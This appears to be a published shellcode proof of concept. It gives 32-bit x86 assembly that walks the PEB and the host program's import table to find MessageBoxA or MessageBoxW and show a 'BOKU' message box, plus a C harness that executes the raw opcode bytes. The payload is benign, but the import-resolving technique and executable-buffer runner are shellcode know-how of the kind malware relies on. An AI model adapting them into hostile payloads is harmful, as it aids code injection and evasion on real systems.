Windows/x64 - Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode 232 bytes

# Shellcode Title:  Windows\x64 Dynamic MessageBoxA or MessageBoxW PEB & Import Table Method Shellcode (232 bytes)
# Shellcode Author: Bobby Cooke
# Date: March 2020-03-17
# Tested On: 
# Windows 10 Pro 1909 (x86): HelpPane.exe, notepad.exe, certutil.exe
# Windows 10 Pro 1909 (x86_64): mmc.exe, xwizard.exe  
# [!] Will only work if MessageBoxA or MessageBoxW exist in the Import Table of the Host PE

; Create new StackFrame
 push ebp
 mov ebp, esp
 sub esp, 0x10

; Dynamically find the base address of the executable image from the PEB
; FS_Register > TEB > PEB > &ImageBase
 xor ecx, ecx
 mul ecx                 ; Clears EAX, ECX, EDX Registers
 mov ebx, eax            ; clear EBX Register
 mov ebx, [fs:ebx+0x30]  ; get PEB address = TEB+0x30
 mov ebx, [ebx+0x8]      ; get Image Base Addr = PEB+0x8
 push ebx                ; save &ImageBase in EBX
 pop  eax                ; copy &ImageBase to EAX

; Get the Address of the Import Table
; DOS_Header > PE_Signature > ImportTable
 add eax, [ebx+0x3C]     ; EAX = &PE_Signature
 mov dl, 0x80            ; &PE_Signature+0x80 = &ImportTable_RVA
 add ax, dx              ; EAX = &ImportTable_RVA
 mov edx, [eax]          ; EDX = RVA ImportTable
 add edx, ebx            ; EDX = &ImportTable
 add dl, 0xC             ; EDX = &Name_RVA of first Imported DLL

; Create string 'USER32'
 mov cx, 0x3233          ; 23 : 3233
 push ecx                ; push "23, 0x0000"
 push 0x52455355         ; RESU : 52455355
 mov [ebp-0x4], esp


; Find the Name RVA for user32.dll within the Import Table
; ImportTable > ImportDirectoryTable > LoopNameRVA's
 xor ecx, ecx            ; ECX = Counter

fUser32Name:
 push edx                ; EDX = &Name_RVA of first Imported DLL
 xor eax, eax
 mov al, 0x14            ; &Name_RVA's are every 20 bytes
 mul cl                  ; Counter * 20 bytes
 add [esp], eax
 pop eax                 ; EAX = &Name_RVA of Nth DLL
 push eax
 mov esi, [ebp-0x4]      ; ESI = &String
 mov edi, [eax]          ; EDI = RVA Name of Nth DLL
 add edi, ebx            ; EDI = &Name of Nth DLL
 push ecx                ; save counter to stack
 xor ecx, ecx
 cld                     ; clear direction flag = Process strings from left to right
 mov cl, 0x6             ; ECX = String Length
 repe cmpsb              ; compare first 6 bytes of &
 pop ecx                 ; ECX = Counter
 jz foundUser32Name      ; If string at &Name_RVA == "USER32", then end loop
 pop eax                 ; Pickup String Addr to fix stack
 inc ecx                 ;   else Counter ++
 jmp short fUser32Name   ;   restart the loop

foundUser32Name:
 pop eax                 ; EAX = &Name_RVA of user32.dll
 mov [ebp-0x8], eax      ; [ESP-0x8] = &Name_RVA of user32.dll
 sub al, 0xC             ; EAX = &User32_ImportNameTable_RVA
 mov eax, [eax]          ; EAX = User32_ImportNameTable_RVA
 add eax, ebx            ; EAX = &User32_ImportNameTable
 mov [ebp-0xC], eax      ; [ESP-0xC] = &User32_ImportNameTable

; Create string 'MessageBoxA'
 mov ecx, 0x41786f6f     ; Axoo : 41786f6f
 shr ecx, 8
 push ecx                ; "oxA,0x00"
 push 0x42656761         ; Bega : 42656761
 push 0x7373654d         ; sseM : 7373654d

 jmp Counter

MessageBoxW:
 mov byte [esp+0xA], 0x57 ; Change A to W
 mov eax, [ebp-0xC]       ; EAX = &User32_ImportNameTable

; Find the Name RVA for MessageBoxA within the Import Table
; ImportTable > ImportDirectoryTable > LoopNameRVA's

Counter:
 xor ecx, ecx

fNameLoop:
 mov esi, esp            ; ESI = "MessageBoxA,0x00"
 xor edx, edx
 mov edi, [eax]          ; EDI = RVA NameString
 cmp edi, edx            ; See if we checked all imported function names
 je MessageBoxW
 add edi, ebx            ; EDI = &NameString of Nth Function
 inc edi                 ; skip the first 2 bytes - Ordinal Value
 inc edi                 ; skip the first 2 bytes
 push ecx                ; push counter value
 xor ecx, ecx
 cld                     ; clear direction flag = Process strings from left to right
 mov cl, 0xB             ; ECX = String Length
 repe cmpsb              ; compare first 11 bytes
 pop ecx                 ; ECX = Counter value
 jz foundName            ; If string at &NameString == "MessageBox-", then end loop
 mov dl, 0x4
 add eax, edx            ; Next RVA NameString of Imported User32.dll function
 inc ecx                 ; Counter ++
 jmp short fNameLoop     ; restart the loop

foundName:
 mov eax, [ebp-0x8]      ; EAX = &User32_Name_RVA
 add al, 0x4             ; EAX = &User32_ImportAddressTable_RVA
 mov edi, [eax]          ; EDI = User32_ImportAddressTable_RVA
 add edi, ebx            ; EDI = &User32_ImportNameTable
 xor eax, eax
 mov al, 0x4
 mul cx                  ; Counter * 4 = Offset MessageBoxA in Table
 add eax, edi            ;[EAX] = &MessageBoxA
 mov eax, [eax]          ; EAX = &MessageBoxA

 mov byte bl, [esp+0xA]  ; DL = 'A' or 'W'

;CALL to MessageBoxA
;  hOwner = NULL
;  Text = "BOKU"
;  Title = "BOKU"
;  Style = MB_OK|MB_APPLMODAL
 xor ecx, ecx        ; clear ecx register
 push ecx            ; string terminator 0x00 for string "BOKU"
; MessageBoxA or MessageBoxW?
 cmp bl, 0x41            ; if BL = 'A', then
 je MsgBoxA              ; push ASCII string
; String = "B-O-K-U-"
 push 0x2d552d4b     ; -U-K : 2d552d4b
 push 0x2d4f2d42     ; -O-B : 2d4f2d42
 mov edx, esp        ; EDX = &String
UnicodeStrLoop:
 inc edx             ; 1st Char +1
 mov byte [edx], ch  ; Null byte after ever char in Unicode String
 inc edx             ; Every Other Char +2
 inc ecx             ; LoopCounter ++
 cmp cl, 0x4         ; If end of string, then
 je pushArgs         ; Push arguments to stack for MessageBox- Call
 jmp short UnicodeStrLoop
MsgBoxA:
 push 0x554b4f42     ; UKOB : 554b4f42
pushArgs:
 xor ecx, ecx
 mov ebx, esp        ; EBX = &String
 push ecx
 push ebx
 push ebx
 push ecx
 call eax            ; Call MessageBox- Function

############################################################################################################################

#include <windows.h>
#include <stdio.h>

char code[] = \
"\x55\x89\xe5\x83\xec\x10\x31\xc9\xf7\xe1\x89\xc3\x64\x8b\x5b\x30\x8b\x5b"
"\x08\x53\x58\x03\x43\x3c\xb2\x80\x66\x01\xd0\x8b\x10\x01\xda\x80\xc2\x0c"
"\x66\xb9\x33\x32\x51\x68\x55\x53\x45\x52\x89\x65\xfc\x31\xc9\x52\x31\xc0"
"\xb0\x14\xf6\xe1\x01\x04\x24\x58\x50\x8b\x75\xfc\x8b\x38\x01\xdf\x51\x31"
"\xc9\xfc\xb1\x06\xf3\xa6\x59\x74\x04\x58\x41\xeb\xde\x58\x89\x45\xf8\x2c"
"\x0c\x8b\x00\x01\xd8\x89\x45\xf4\xb9\x6f\x6f\x78\x41\xc1\xe9\x08\x51\x68"
"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\xeb\x08\xc6\x44\x24\x0a\x57\x8b\x45"
"\xf4\x31\xc9\x89\xe6\x31\xd2\x8b\x38\x39\xd7\x74\xec\x01\xdf\x47\x47\x51"
"\x31\xc9\xfc\xb1\x0b\xf3\xa6\x59\x74\x07\xb2\x04\x01\xd0\x41\xeb\xe0\x8b"
"\x45\xf8\x04\x04\x8b\x38\x01\xdf\x31\xc0\xb0\x04\x66\xf7\xe1\x01\xf8\x8b"
"\x00\x8a\x5c\x24\x0a\x31\xc9\x51\x80\xfb\x41\x74\x18\x68\x4b\x2d\x55\x2d"
"\x68\x42\x2d\x4f\x2d\x89\xe2\x42\x88\x2a\x42\x41\x80\xf9\x04\x74\x07\xeb"
"\xf4\x68\x42\x4f\x4b\x55\x31\xc9\x89\xe3\x51\x53\x53\x51\xff\xd0";

int main(int argc, char **argv)
{
  int (*func)();
  func = (int(*)()) code;
  (int)(*func)();
}